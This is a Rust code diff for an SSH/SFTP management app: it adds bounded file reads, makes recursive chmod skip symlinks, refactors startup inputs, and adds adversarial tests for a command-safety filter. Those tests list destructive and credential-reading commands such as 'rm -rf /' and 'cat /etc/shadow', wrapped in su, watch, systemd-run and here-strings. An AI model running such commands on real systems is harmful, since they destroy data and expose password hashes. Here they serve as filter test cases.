Some(backup_path_for(path)) @@ -363,9 +461,7 @@ async fn write_via_sftp_with_backup( if let Some(backup) = &backup_path { let mut guard = session.lock_sftp().await; let sftp = guard.sftp_or_err()?; - let old_content = sftp.read_file(path).await?; - sha256_before = Some(sha256_hex(&old_content)); - sftp.write_file(backup, &old_content).await?; + sha256_before = Some(copy_to_backup(sftp, path, backup, old_size.unwrap_or(0)).await?); } let mut guard = session.lock_sftp().await; @@ -415,6 +511,7 @@ async fn execute_privileged( /// SFTP-Lesevesuch würde mit derselben Rechte-Einschränkung scheitern wie /// der ursprüngliche Schreibversuch, SFTP kennt zudem kein eigenes /// "Kopieren". +#[allow(clippy::too_many_arguments)] async fn write_via_sudo_fallback( approval: &ApprovedFileWrite, session: &Session, @@ -422,6 +519,7 @@ async fn write_via_sudo_fallback( content: &str, existed: bool, old_mode: Option, + old_size: Option, password: &secrecy::SecretString, ) -> Result { let backup_path = if existed { @@ -431,14 +529,13 @@ async fn write_via_sudo_fallback( }; // "Before" hash: only when the old content is readable over SFTP (e.g. a - // 0644 root file); `None` when the read itself is denied or fails. + // 0644 root file); `None` when the read is denied or fails, or when the file turns out + // larger than its `stat` size. let mut sha256_before = None; if existed { let mut guard = session.lock_sftp().await; if let Some(sftp) = guard.sftp() { - if let Ok(old) = sftp.read_file(path).await { - sha256_before = Some(sha256_hex(&old)); - } + sha256_before = hash_old_content(sftp, path, old_size.unwrap_or(0)).await; } } @@ -571,7 +668,8 @@ pub(crate) async fn execute_write_remote_file( } }; - let regular = write_via_sftp_with_backup(session, &path, wire_content, existed).await; + let regular = + write_via_sftp_with_backup(session, &path, wire_content, existed, bytes_before).await; let (done, used_sudo_password) = match regular { Ok(done) => (done, false), @@ -617,6 +715,7 @@ pub(crate) async fn execute_write_remote_file( wire_content, existed, old_mode, + bytes_before, &password, ) .await @@ -704,3 +803,24 @@ pub(crate) async fn execute_write_remote_file( .await; true } + +#[cfg(test)] +mod hash_tests { + use super::*; + use ssh_manager_core::ssh::mock::MockSftpSession; + + /// Issue #1714: the sudo-fallback hash covers exactly `stat`-size bytes + /// and is `None` for a file that yields more. + #[tokio::test] + async fn test_hash_old_content_is_bounded_by_the_stat_size() { + let content = vec![3u8; OLD_CONTENT_CHUNK_BYTES + 7]; + let mut sftp = MockSftpSession::new().with_file("/f", content.clone()); + assert_eq!( + hash_old_content(&mut sftp, "/f", content.len() as u64).await, + Some(sha256_hex(&content)) + ); + assert_eq!(hash_old_content(&mut sftp, "/f", 10).await, None); + let missing = hash_old_content(&mut sftp, "/nope", 10).await; + assert_eq!(missing, None); + } +} diff --git a/crates/app-logic/src/sftp_ops.rs b/crates/app-logic/src/sftp_ops.rs index 170e981c5..ea68f3fd0 100644 --- a/crates/app-logic/src/sftp_ops.rs +++ b/crates/app-logic/src/sftp_ops.rs @@ -160,7 +160,9 @@ pub fn recursive_entry_mode(entry: &RemoteEntry, mode: u32, apply_special_bits: } /// Core of `sftp_chmod`. Returns the number of changed entries; `Ok(None)` -/// = stopped by the user. +/// = stopped by the user. Entries that are symlinks are skipped below the +/// root: SFTP `SETSTAT` follows links, so the mode would land on the link's +/// target outside the tree. pub async fn chmod_recursive( sftp: &mut dyn SftpSession, path: &str, @@ -195,6 +197,9 @@ pub async fn chmod_recursive( } let entries = sftp.list_dir(&dir).await?; for entry in entries { + if entry.is_symlink { + continue; + } all_paths.push(( entry.path.clone(), recursive_entry_mode(&entry, mode, apply_special_bits), diff --git a/crates/app-logic/src/sftp_ops/tests.rs b/crates/app-logic/src/sftp_ops/tests.rs index 4e398dc5e..75bcdf149 100644 --- a/crates/app-logic/src/sftp_ops/tests.rs +++ b/crates/app-logic/src/sftp_ops/tests.rs @@ -462,6 +462,27 @@ async fn test_chmod_recursive_applies_entry_modes_deepest_first() { assert_eq!(log.last().unwrap(), "set_permissions /t 700"); } +#[tokio::test] +async fn test_chmod_recursive_skips_symlinks_below_the_root() { + // SETSTAT follows links: a link in the tree would hand the chosen mode to + // its target outside the tree. + let mut sftp = TreeSftp::default() + .dir("/t") + .file("/t/a") + .symlink_to_dir("/t/link"); + let op = Progress::default(); + let n = chmod_recursive(&mut sftp, "/t", 0o600, true, false, &op) + .await + .unwrap(); + let log = sftp.log(); + assert!(!log.iter().any(|c| c.contains("/t/link")), "{log:?}"); + assert_eq!(n, Some(2)); + assert_eq!( + log, + vec!["set_permissions /t/a 600", "set_permissions /t 700"] + ); +} + struct TreeLister(TreeSftp); #[async_trait] diff --git a/crates/app-logic/tests/no_unbounded_read_file.rs b/crates/app-logic/tests/no_unbounded_read_file.rs new file mode 100644 index 000000000..17ed477bf --- /dev/null +++ b/crates/app-logic/tests/no_unbounded_read_file.rs @@ -0,0 +1,52 @@ +//! Issue #1714: production code in app-logic and app-shell never calls the +#![allow(clippy::unwrap_used)] +//! unbounded `SftpSession::read_file` for a remote file; use +//! `read_file_capped`, `read_file_chunked` or `read_range`. + +use std::path::Path; + +fn production_sources(dir: &Path, out: &mut Vec) { + for entry in std::fs::read_dir(dir).unwrap() { + let path = entry.unwrap().path(); + if path.is_dir() { + production_sources(&path, out); + } else if path.extension().is_some_and(|e| e == "rs") { + let name = path.file_name().unwrap().to_string_lossy().into_owned(); + let in_tests_dir = path.components().any(|c| { + let c = c.as_os_str().to_string_lossy(); + c == "tests" || c.ends_with("_tests") || c.starts_with("tests_") + }); + if !in_tests_dir + && name != "tests.rs" + && !name.starts_with("tests_") + && !name.ends_with("_tests.rs") + && name != "test_support.rs" + { + out.push(path); + } + } + } +} + +#[test] +fn no_production_call_of_the_unbounded_read_file() { + let root = Path::new(env!("CARGO_MANIFEST_DIR")).join(".."); + let mut files = Vec::new(); + production_sources(&root.join("app-logic/src"), &mut files); + production_sources(&root.join("app-shell/src"), &mut files); + let mut hits = Vec::new(); + for f in files { + let text = std::fs::read_to_string(&f).unwrap(); + for (i, line) in text.lines().enumerate() { + // The elevated wrapper forwards the trait method (revocation + // check per operation); it is the one allowed call. + if line.contains(".read_file(") && !f.ends_with("elevation/sftp_impl.rs") { + hits.push(format!("{}:{}", f.display(), i + 1)); + } + } + } + assert!( + hits.is_empty(), + "unbounded read_file called in production code: {hits:?}" + ); +} diff --git a/crates/app-logic/tests/no_untracked_spawns.rs b/crates/app-logic/tests/no_untracked_spawns.rs index 9bdcf179f..72d7fefaa 100644 --- a/crates/app-logic/tests/no_untracked_spawns.rs +++ b/crates/app-logic/tests/no_untracked_spawns.rs @@ -107,6 +107,13 @@ fn count_sites(src: &str) -> usize { count } +/// Whether `rel` lies in a `X/tests/` folder next to an `X/tests.rs`, so it +/// is a submodule of that test module. +fn in_test_module_folder(crates: &Path, rel: &str) -> bool { + rel.match_indices("/tests/") + .any(|(pos, _)| crates.join(format!("{}/tests.rs", &rel[..pos])).is_file()) +} + fn scan() -> BTreeMap { let crates = Path::new(env!("CARGO_MANIFEST_DIR")).join(".."); let mut found = BTreeMap::new(); @@ -125,7 +132,7 @@ fn scan() -> BTreeMap { .replace('\\', "/") // `crates//src/...` -> `/src/...` .to_string(); - if is_excluded(&rel) { + if is_excluded(&rel) || in_test_module_folder(&crates, &rel) { continue; } let n = count_sites(&fs::read_to_string(&file).expect("read")); diff --git a/crates/app-shell/src/commands/sftp/copy_content.rs b/crates/app-shell/src/commands/sftp/copy_content.rs index 916f4ae0c..e5762193f 100644 --- a/crates/app-shell/src/commands/sftp/copy_content.rs +++ b/crates/app-shell/src/commands/sftp/copy_content.rs @@ -36,10 +36,11 @@ pub(super) fn too_large_for_clipboard() -> CommandError { /// wie jeder andere `sftp_*`-Befehl in diesem Abschnitt. /// /// Größenprüfung vor dem eigentlichen Lesen (per `stat`), damit eine sehr -/// große Datei nicht erst vollständig übertragen wird, bevor sie doch -/// abgelehnt wird — ein fehlgeschlagenes `stat` blockiert den Lesevorgang -/// selbst nicht (analog zu `sftp_download`s Größen-Vorablauf oben), die -/// eigentliche `read_file`-Fehlermeldung ist dann aussagekräftig genug. +/// große Datei nicht erst übertragen wird, bevor sie doch abgelehnt wird — +/// ein fehlgeschlagenes `stat` blockiert den Lesevorgang selbst nicht +/// (analog zu `sftp_download`s Größen-Vorablauf oben). Das Lesen selbst ist +/// auf das Limit plus ein Byte begrenzt, der Speicher also unabhängig von +/// der Dateigröße. #[tauri::command] pub async fn sftp_read_text( state: State<'_, AppState>, @@ -67,7 +68,7 @@ pub(super) async fn read_text_impl( let mut sftp = guard.sftp().await?; // Ein fehlgeschlagenes `stat` blockiert das Lesen nicht (s. - // Doc-Kommentar). Ein Widerruf **zwischen** `stat` und `read_file` lässt + // Doc-Kommentar). Ein Widerruf **zwischen** `stat` und dem Lesen lässt // die Datei ungelesen: die zweite Operation prüft ihn selbst (Spec 0085, // A1.1/T6b). if let Ok(entry) = sftp.stat(path).await { @@ -76,12 +77,16 @@ pub(super) async fn read_text_impl( } } - let bytes = sftp.read_file(path).await?; + // Bounded read: at most one byte over the limit is ever held, so a failed + // `stat` or a file that grew since cannot exhaust memory. + let bytes = sftp + .read_file_capped(path, MAX_TEXT_PREVIEW_BYTES + 1, &mut |_| {}) + .await?; // Spec 0086, A1.1: Die `stat`-Prüfung oben ist eine Vorabprüfung, keine // Zusage. Die Kanal-Sperre wird je Operation genommen (Spec 0085, A1.3; - // ADR 0078 §1), zwischen `stat` und `read_file` kann also ein anderer + // ADR 0078 §1), zwischen `stat` und dem Lesen kann also ein anderer // Befehl laufen und die Datei wachsen — und ein gescheitertes `stat` - // lässt sie bewusst ganz ungeprüft (s. Doc-Kommentar oben). Maßgeblich + // prüft die Größe vorab gar nicht (s. Doc-Kommentar oben). Maßgeblich // ist deshalb diese Prüfung am tatsächlich gelesenen Inhalt: nur sie // kann die Grenze halten, die der Nutzer zugesagt bekommt. if bytes.len() as u64 > MAX_TEXT_PREVIEW_BYTES { diff --git a/crates/app-shell/src/commands/sftp/edit_session.rs b/crates/app-shell/src/commands/sftp/edit_session.rs index 937ae1d67..863ec1700 100644 --- a/crates/app-shell/src/commands/sftp/edit_session.rs +++ b/crates/app-shell/src/commands/sftp/edit_session.rs @@ -144,14 +144,17 @@ pub(super) async fn open_for_editing_impl( "SFTP_TOO_LARGE_FOR_EDITING", )); } - let bytes = sftp.read_file(remote_path).await?; + // Bounded read: one byte over the limit is enough to detect "too large". + let bytes = sftp + .read_file_capped(remote_path, max_bytes.saturating_add(1), &mut |_| {}) + .await?; (bytes, entry.modified.map(|dt| dt.to_rfc3339())) }; // Spec 0086, A1.2/A1.3: und nach dem Lesen, denn die `stat`-Größe oben // ist keine Zusage — die Kanal-Sperre wird je Operation genommen (Spec - // 0085, A1.3; ADR 0078 §1), die Datei kann zwischen `stat` und - // `read_file` gewachsen sein. Die Prüfung steht **vor** jedem + // 0085, A1.3; ADR 0078 §1), die Datei kann zwischen `stat` und dem + // Lesen gewachsen sein. Die Prüfung steht **vor** jedem // Schreibzugriff ins Temp-Verzeichnis: bei einer Ablehnung entsteht dort // weder Datei noch Verzeichnis, und eine aus einem früheren „Lokal // öffnen" schon liegende Kopie bleibt unverändert (A1.3). diff --git a/crates/app-shell/src/commands/sftp/revocation_tests/tests_transfers.rs b/crates/app-shell/src/commands/sftp/revocation_tests/tests_transfers.rs index 9f70bf359..5fe11d654 100644 --- a/crates/app-shell/src/commands/sftp/revocation_tests/tests_transfers.rs +++ b/crates/app-shell/src/commands/sftp/revocation_tests/tests_transfers.rs @@ -712,6 +712,39 @@ async fn test_654_recursive_chown_walks_the_tree_and_skips_symlinks() { assert_eq!(ops.last().unwrap(), "set_owner /t 1000 100", "root last"); } +/// Recursive chmod over the elevated channel changes the tree but never a +/// symlink in it: the change runs as the elevated user and `SETSTAT` would +/// apply the mode to the link's target. +#[tokio::test] +async fn test_elevated_recursive_chmod_skips_symlinks() { + let elevated = GatedSftp::small_tree(0); + elevated.mark_symlink("/t/b.txt"); + let s = setup(Box::new(elevated.clone())).await; + + let changed = + with_browser_channel( + s.session.clone(), + s.elevated_channel(), + |session, channel| async move { + chmod_impl(&session, &channel, "/t", 0o600, true, false).await + }, + ) + .await + .expect("recursive chmod succeeds"); + let ops = elevated.ops(); + assert!(!ops.iter().any(|o| o.contains("/t/b.txt")), "{ops:?}"); + assert_eq!( + changed, 4, + "root + a.txt + sub + sub/c.txt, not the symlink" + ); + assert_eq!(elevated.permissions("/t/b.txt"), Some(0o644)); + assert_eq!(elevated.permissions("/t/a.txt"), Some(0o600)); + assert_eq!(elevated.permissions("/t/sub/c.txt"), Some(0o600)); + assert_eq!(elevated.permissions("/t/sub"), Some(0o700)); + assert_eq!(elevated.permissions("/t"), Some(0o700)); + assert!(s.normal.calls().is_empty(), "{:?}", s.normal.calls()); +} + /// Issue #654: names are resolved through passwd/group of the server; an /// unknown name fails with its own code and **nothing** is changed. #[tokio::test] diff --git a/crates/app-shell/src/commands/sftp/size_limit_tests.rs b/crates/app-shell/src/commands/sftp/size_limit_tests.rs index 8e9d8dca1..a50fa1734 100644 --- a/crates/app-shell/src/commands/sftp/size_limit_tests.rs +++ b/crates/app-shell/src/commands/sftp/size_limit_tests.rs @@ -121,7 +121,7 @@ impl SftpSession for MismatchSftp { .ops .lock() .unwrap() - .push(format!("read_file_capped {path}")); + .push(format!("read_file_capped {path} limit={max_bytes}")); let len = self.0.content.len().min(max_bytes as usize); self.0.bytes_served.fetch_add(len, Ordering::SeqCst); progress(len as u64); @@ -366,7 +366,10 @@ async fn test_t1_a_file_that_grew_between_stat_and_read_is_rejected_after_readin normal.ops(), vec![ "stat /t/grown.txt".to_string(), - "read_file /t/grown.txt".to_string() + format!( + "read_file_capped /t/grown.txt limit={}", + MAX_TEXT_PREVIEW_BYTES + 1 + ) ], "die Vorabprüfung per `stat` bleibt, sie bestand hier nur" ); @@ -399,6 +402,18 @@ async fn test_t2_a_failing_stat_no_longer_lets_an_oversized_file_through() { "ein gescheitertes `stat` blockiert das Lesen weiter nicht — nur das \ Ergebnis wird jetzt geprüft" ); + // Issue #1714: only a capped read with limit + 1, never the unbounded one. + assert_eq!( + normal.ops(), + vec![ + "stat /t/unstattable.txt".to_string(), + format!( + "read_file_capped /t/unstattable.txt limit={}", + MAX_TEXT_PREVIEW_BYTES + 1 + ), + ] + ); + assert_eq!(normal.bytes_served(), (MAX_TEXT_PREVIEW_BYTES + 1) as usize); } /// Spec 0086, T3: Absicherung gegen ein `>=` statt `>` — genau 256 KB @@ -504,6 +519,14 @@ async fn test_t5_a_file_that_grew_between_stat_and_read_leaves_no_local_copy() { 1, "gelesen wurde — abgelehnt wird danach, am tatsächlichen Inhalt" ); + // Issue #1714: the read is bounded to limit + 1, never the whole file. + assert_eq!( + normal.ops(), + vec![ + "stat /t/grown.conf".to_string(), + format!("read_file_capped /t/grown.conf limit={}", LIMIT + 1), + ] + ); assert_eq!( tokio::fs::read(&existing).await.unwrap(), b"FRUEHERE-KOPIE".to_vec(), @@ -511,6 +534,20 @@ async fn test_t5_a_file_that_grew_between_stat_and_read_leaves_no_local_copy() { ); } +/// Spec 0086, T5/A1.3, Issue #1714: a grown file without an earlier copy +/// leaves no edit directory at all. +#[tokio::test] +async fn test_t5_a_grown_file_creates_no_edit_directory() { + const LIMIT: u64 = 64; + let normal = MismatchSftp::claiming(10, LIMIT as usize + 1); + let s = setup(normal, untouched()).await; + + let (result, dir) = open_for_editing(&s, s.normal_channel(), "/t/grown.conf", LIMIT).await; + + assert_too_large_for_editing(result); + assert!(!dir.exists(), "no edit directory may be created: {dir:?}"); +} + /// Spec 0086, T6: Absicherung gegen ein `>=` statt `>` — genau die Grenze /// wird geöffnet. Beide Prüfungen einzeln: die per `stat` mit der **echten** /// Konstante (`stat` meldet genau 50 MB, gelesen wird wenig), die nach dem diff --git a/crates/app-shell/src/lib.rs b/crates/app-shell/src/lib.rs index 340c706a0..05f86930b 100644 --- a/crates/app-shell/src/lib.rs +++ b/crates/app-shell/src/lib.rs @@ -71,6 +71,7 @@ use startup_gate::gated; mod startup_gate_wiring; /// Spec 0101, A3/A5: die nativen Startdialoge zu den Fällen D1–D4 — /// Zuordnung von Fall zu Text und Knöpfen, ohne eigene Logik. +mod startup_inputs; mod startup_prompt; #[cfg(test)] mod test_support; @@ -96,96 +97,8 @@ use app_logic::host_key_store::FileHostKeyStore; use app_logic::session::SessionManager; use app_logic::state::AppState; -/// Die Angaben, die der Startablauf einmal pro Programmlauf aus der -/// Umgebung liest (Spec 0071 A11a/A3) — vor jeder Entscheidung darüber, wie -/// K beschafft wird. -/// -/// **Eigener Typ seit Spec 0101 Etappe 3:** Im Passwort-Modus wird der -/// Startablauf in zwei Hälften geteilt (§2 Frage 3). Die erste läuft in -/// [`run`] vor dem Fenster, die zweite im Entsperr-Kommando. Beide brauchen -/// dieselben Angaben, und sie dürfen sich nicht unterscheiden — die -/// Umgebung wird deshalb genau einmal gelesen. -pub(crate) struct StartupInputs { - pub(crate) db_path: std::path::PathBuf, - /// Issue #19: die Sperre auf das Datenverzeichnis von `db_path`, - /// genommen vor jedem Zugriff auf die Datenbank. Lebt in diesem Wert - /// und damit bis zum Prozessende — im Passwort-Modus über - /// `PendingStartup`, das die Angaben bis zur Entsperrung hält. - pub(crate) data_dir_lock: persistence_sqlite::DataDirLock, - pub(crate) language: app_logic::startup_error_messages::Language, - pub(crate) keychain: credentials_keyring::KeychainAvailability, - /// Issue #464: from `Wiring`, handed to the `AppState`. - pub(crate) outgoing_transform: Option>, - /// Issue #610: from `Wiring`, handed to the `AppState`. - pub(crate) ai_usage_observers: Arc>>, - /// Issue #1505: from `Wiring`, handed to the `AppState`. - pub(crate) activity: Arc, - /// Issue #1246: from `Wiring`, handed to the `AppState`. - pub(crate) ai_provider_decorators: - Arc>>, - pub(crate) ai_provider_kinds: Arc, -} - -#[expect(clippy::too_many_arguments, reason = "startup inputs")] -fn startup_inputs( - db_path: std::path::PathBuf, - data_dir_lock: persistence_sqlite::DataDirLock, - language: app_logic::startup_error_messages::Language, - outgoing_transform: Option>, - ai_usage_observers: Arc>>, - activity: Arc, - ai_provider_decorators: Arc< - Vec>, - >, - ai_provider_kinds: Arc, -) -> StartupInputs { - // Spec 0071, A3/A16: Das Session-Bus-Indiz und der Schlüsselbund-Zustand - // werden hier EINMAL pro Programmlauf ermittelt und danach im `AppState` - // weitergereicht — kein Kommando probiert den Schlüsselbund zusätzlich - // ab, um den Zustand zu erfahren (insbesondere nicht `list_servers`, das - // `ServerDto::from_server` pro Server aufruft). - // - // Nur diese Stelle liest die Umgebung; die Regel selbst ist rein und - // liegt in `credentials_keyring::session_bus_present` (A3). Der Wert von - // `DBUS_SESSION_BUS_ADDRESS` wird dabei zu einem `bool` verdichtet und - // nirgends weitergereicht — ein Steuerzeichen darin kann deshalb keinen - // Dialogtext fortsetzen (X1). - // - // **Seit Spec 0101 vor dem Öffnen der Datenbank** (A3): Der - // Schlüsselbund-Zustand ist eine Eingabe der Entscheidungstabelle, nicht - // mehr eine Nachbemerkung zu einer schon offenen Datenbank. - let dbus_address = std::env::var("DBUS_SESSION_BUS_ADDRESS").ok(); - let xdg_runtime_bus_exists = std::env::var("XDG_RUNTIME_DIR") - .ok() - .is_some_and(|dir| std::path::Path::new(&dir).join("bus").exists()); - let keychain = credentials_keyring::probe_keychain_availability( - std::env::consts::OS, - credentials_keyring::session_bus_present(dbus_address.as_deref(), xdg_runtime_bus_exists), - ); - // spec-reviewer-Fund zur Klarstellung Q-BL-0031-01: §6.4 M1 verlangt - // "Log enthält den vollen Grund". Der klassifizierte Zustand oben ist - // dafür zu grob — die eigentliche `store_status()`-Fehlerkette existiert - // nur hier. Sie geht ausschließlich ins Log, nie in einen Dialog, ein - // DTO oder das Diagnosepaket (I1/X2; die Zeile steht bewusst NICHT in - // `diagnostics::SAFE_LOG_MESSAGES` und fliegt damit aus dem exportierten - // Paket). - if let Some(chain) = credentials_keyring::store_status_cause_chain_for_log() { - tracing::warn!(cause_chain = %chain, "OS keychain store initialisation failed"); - } - tracing::info!(?keychain, "probed OS keychain availability"); - - StartupInputs { - db_path, - data_dir_lock, - language, - keychain, - outgoing_transform, - ai_usage_observers, - activity, - ai_provider_decorators, - ai_provider_kinds, - } -} +use startup_inputs::startup_inputs; +pub(crate) use startup_inputs::StartupInputs; /// Spec 0101, §5 Schritte 4–9: ab dem Öffnen der Datenbank bis zum fertigen /// `AppState`. @@ -481,6 +394,11 @@ pub fn run(mut wiring: Wiring, context: tauri::Context) { data_dir_source = resolved_data_dir.source.as_str(), "Smart SSH startet" ); + if resolved_data_dir.group_writable { + // Accepted (per-user groups, umask 002), but worth a trace: members of + // the directory's group can change the instance's files (Spec 0115). + tracing::warn!("the data directory override is group-writable"); + } // Spec 0052, 3.2: `Edition` is `Copy`; `get_app_info` reads it as `State`. let (edition, session_extension) = (wiring.edition, wiring.combined_session_extension()); diff --git a/crates/app-shell/src/startup_inputs.rs b/crates/app-shell/src/startup_inputs.rs new file mode 100644 index 000000000..87e57b245 --- /dev/null +++ b/crates/app-shell/src/startup_inputs.rs @@ -0,0 +1,95 @@ +//! Spec 0071 A3, Spec 0101: what the startup reads from the environment +//! once per run, before it decides how the root key is obtained. + +use std::sync::Arc; + +/// Die Angaben, die der Startablauf einmal pro Programmlauf aus der +/// Umgebung liest (Spec 0071 A11a/A3) — vor jeder Entscheidung darüber, wie +/// K beschafft wird. +/// +/// **Eigener Typ seit Spec 0101 Etappe 3:** Im Passwort-Modus wird der +/// Startablauf in zwei Hälften geteilt (§2 Frage 3). Die erste läuft in +/// [`run`](crate::run) vor dem Fenster, die zweite im Entsperr-Kommando. +/// Beide brauchen dieselben Angaben, und sie dürfen sich nicht +/// unterscheiden — die Umgebung wird deshalb genau einmal gelesen. +pub(crate) struct StartupInputs { + pub(crate) db_path: std::path::PathBuf, + /// Issue #19: die Sperre auf das Datenverzeichnis von `db_path`, + /// genommen vor jedem Zugriff auf die Datenbank. Lebt in diesem Wert + /// und damit bis zum Prozessende — im Passwort-Modus über + /// `PendingStartup`, das die Angaben bis zur Entsperrung hält. + pub(crate) data_dir_lock: persistence_sqlite::DataDirLock, + pub(crate) language: app_logic::startup_error_messages::Language, + pub(crate) keychain: credentials_keyring::KeychainAvailability, + /// Issue #464: from `Wiring`, handed to the `AppState`. + pub(crate) outgoing_transform: Option>, + /// Issue #610: from `Wiring`, handed to the `AppState`. + pub(crate) ai_usage_observers: Arc>>, + /// Issue #1505: from `Wiring`, handed to the `AppState`. + pub(crate) activity: Arc, + /// Issue #1246: from `Wiring`, handed to the `AppState`. + pub(crate) ai_provider_decorators: + Arc>>, + pub(crate) ai_provider_kinds: Arc, +} + +#[expect(clippy::too_many_arguments, reason = "startup inputs")] +pub(crate) fn startup_inputs( + db_path: std::path::PathBuf, + data_dir_lock: persistence_sqlite::DataDirLock, + language: app_logic::startup_error_messages::Language, + outgoing_transform: Option>, + ai_usage_observers: Arc>>, + activity: Arc, + ai_provider_decorators: Arc< + Vec>, + >, + ai_provider_kinds: Arc, +) -> StartupInputs { + // Spec 0071, A3/A16: Das Session-Bus-Indiz und der Schlüsselbund-Zustand + // werden hier EINMAL pro Programmlauf ermittelt und danach im `AppState` + // weitergereicht — kein Kommando probiert den Schlüsselbund zusätzlich + // ab, um den Zustand zu erfahren (insbesondere nicht `list_servers`, das + // `ServerDto::from_server` pro Server aufruft). + // + // Nur diese Stelle liest die Umgebung; die Regel selbst ist rein und + // liegt in `credentials_keyring::session_bus_present` (A3). Der Wert von + // `DBUS_SESSION_BUS_ADDRESS` wird dabei zu einem `bool` verdichtet und + // nirgends weitergereicht — ein Steuerzeichen darin kann deshalb keinen + // Dialogtext fortsetzen (X1). + // + // **Seit Spec 0101 vor dem Öffnen der Datenbank** (A3): Der + // Schlüsselbund-Zustand ist eine Eingabe der Entscheidungstabelle, nicht + // mehr eine Nachbemerkung zu einer schon offenen Datenbank. + let dbus_address = std::env::var("DBUS_SESSION_BUS_ADDRESS").ok(); + let xdg_runtime_bus_exists = std::env::var("XDG_RUNTIME_DIR") + .ok() + .is_some_and(|dir| std::path::Path::new(&dir).join("bus").exists()); + let keychain = credentials_keyring::probe_keychain_availability( + std::env::consts::OS, + credentials_keyring::session_bus_present(dbus_address.as_deref(), xdg_runtime_bus_exists), + ); + // spec-reviewer-Fund zur Klarstellung Q-BL-0031-01: §6.4 M1 verlangt + // "Log enthält den vollen Grund". Der klassifizierte Zustand oben ist + // dafür zu grob — die eigentliche `store_status()`-Fehlerkette existiert + // nur hier. Sie geht ausschließlich ins Log, nie in einen Dialog, ein + // DTO oder das Diagnosepaket (I1/X2; die Zeile steht bewusst NICHT in + // `diagnostics::SAFE_LOG_MESSAGES` und fliegt damit aus dem exportierten + // Paket). + if let Some(chain) = credentials_keyring::store_status_cause_chain_for_log() { + tracing::warn!(cause_chain = %chain, "OS keychain store initialisation failed"); + } + tracing::info!(?keychain, "probed OS keychain availability"); + + StartupInputs { + db_path, + data_dir_lock, + language, + keychain, + outgoing_transform, + ai_usage_observers, + activity, + ai_provider_decorators, + ai_provider_kinds, + } +} diff --git a/crates/core/src/filter/adversarial_tests.rs b/crates/core/src/filter/adversarial_tests.rs index 2a45262ff..5dc3c75e6 100644 --- a/crates/core/src/filter/adversarial_tests.rs +++ b/crates/core/src/filter/adversarial_tests.rs @@ -472,9 +472,10 @@ async fn test_adv_benign_here_string_into_shell_stays_confirm() { /// Issue #53: what cannot be extracted unambiguously is not resolved to /// `Deny` but stays at `Confirm`: a non-shell target, an interpreter, a -/// shell running a script operand or `-c` code, here-docs, several -/// here-strings, other input redirections, unbalanced quotes and words the -/// shell would expand. +/// shell running a script operand or `-c` code, several here-strings, other +/// input redirections, unbalanced quotes and words the shell would expand. +/// A here-doc body is not extracted either, but its lines are naive +/// fragments of the ambiguous text, so a `Deny` rule matching a line wins. #[tokio::test] async fn test_adv_here_string_ambiguous_forms_stay_confirm() { for cmd in [ @@ -482,8 +483,6 @@ async fn test_adv_here_string_ambiguous_forms_stay_confirm() { "cat <<< 'rm -rf /' | sh", "python3 <<< 'rm -rf /'", "bash script.sh <<< 'rm -rf /'", - "bash < Vec { + let policies: [(&str, Vec); 3] = [ + ("allow-all + deny-rm", vec![allow_all(), deny_rm()]), + ("allow-all", vec![allow_all()]), + ("no rules", vec![]), + ]; + let mut mismatches = Vec::new(); + for &(with_option, without_option) in pairs { + for (label, rules) in &policies { + let eng = engine(rules.clone()); + let expected = eng.evaluate(without_option, &ctx()).await; + let actual = eng.evaluate(with_option, &ctx()).await; + if actual != expected { + mismatches.push(format!( + "{with_option:?} under policy [{label}]: {actual:?}, expected {expected:?}" + )); + } + } + let expected = RuleBasedRiskClassifier.classify(without_option); + let actual = RuleBasedRiskClassifier.classify(with_option); + let expected = (expected.server_risk, expected.data_risk); + let actual = (actual.server_risk, actual.data_risk); + if actual != expected { + mismatches.push(format!( + "{with_option:?} risk (server, data): {actual:?}, expected {expected:?}" + )); + } + } + mismatches +} + +#[tokio::test] +async fn sec03_sudo_option_keeps_decision_and_risk() { + let found = mismatches(&WITH_AND_WITHOUT_OPTION).await; + assert!(found.is_empty(), "{}", found.join("\n")); +} + +#[tokio::test] +async fn test_adv_sudo_option_forms_keep_decision_and_risk() { + let found = mismatches(&OTHER_OPTION_FORMS).await; + assert!(found.is_empty(), "{}", found.join("\n")); +} + +#[tokio::test] +async fn test_adv_quoted_sudo_words_keep_decision_and_risk() { + let found = mismatches("ED_WORDS).await; + assert!(found.is_empty(), "{}", found.join("\n")); +} + +#[tokio::test] +async fn test_adv_opaque_sudo_option_value_keeps_decision_and_risk() { + let eng = engine(vec![allow_all(), deny_rm()]); + for (with_option, without_option) in OPAQUE_VALUES { + let decision = eng.evaluate(with_option, &ctx()).await; + let expected = eng.evaluate(without_option, &ctx()).await; + assert_eq!( + decision.clone().stricter(expected), + decision, + "{with_option:?}: lower than without the option" + ); + let risk = RuleBasedRiskClassifier.classify(with_option); + let expected = RuleBasedRiskClassifier.classify(without_option); + assert_eq!( + (risk.server_risk, risk.data_risk), + (expected.server_risk, expected.data_risk), + "risk of {with_option:?}" + ); + } +} diff --git a/crates/core/src/filter/adversarial_tests/tests_execution_wrappers.rs b/crates/core/src/filter/adversarial_tests/tests_execution_wrappers.rs new file mode 100644 index 000000000..47e0f7fd2 --- /dev/null +++ b/crates/core/src/filter/adversarial_tests/tests_execution_wrappers.rs @@ -0,0 +1,450 @@ +//! Programs that run another command: `watch`, `su -c`, `systemd-run`, +//! `find -exec`, `ssh host …`, `tmux`, `screen`, `parallel`, `cmd /C`, +//! PowerShell and others. Deny rules, the hard blacklist and the risk rating +//! see the command they run as they see the bare command, and where it +//! cannot be read for sure the call needs at least `Confirm`. + +use super::sudo_options::mismatches; +use super::*; +use crate::risk::RuleBasedRiskClassifier; + +/// Each wrapped command and the bare command it runs. Decision (under the +/// three policies of the module doc) and risk rating must be the same. +const WRAPPED_AND_BARE: &[(&str, &str)] = &[ + ("watch \"rm -rf /srv\"", "rm -rf /srv"), + ("watch -n 1 rm -rf /srv", "rm -rf /srv"), + ("watch -d -n1 'shutdown -h now'", "shutdown -h now"), + ("su -c 'rm -rf /srv'", "rm -rf /srv"), + ("su - root -c 'shutdown -h now'", "shutdown -h now"), + ("su -c'rm -rf /srv'", "rm -rf /srv"), + ("su --command='cat /etc/shadow'", "cat /etc/shadow"), + ("runuser -l bob -c 'rm -rf /srv'", "rm -rf /srv"), + ("systemd-run rm -rf /srv", "rm -rf /srv"), + ("systemd-run shutdown -h now", "shutdown -h now"), + ( + "systemd-run -p Nice=5 --unit x -t rm -rf /srv", + "rm -rf /srv", + ), + ("taskset 0x1 rm -rf /srv", "rm -rf /srv"), + ("taskset -c 0-3 shutdown -h now", "shutdown -h now"), + ("nsenter -t 1 -m -u rm -rf /srv", "rm -rf 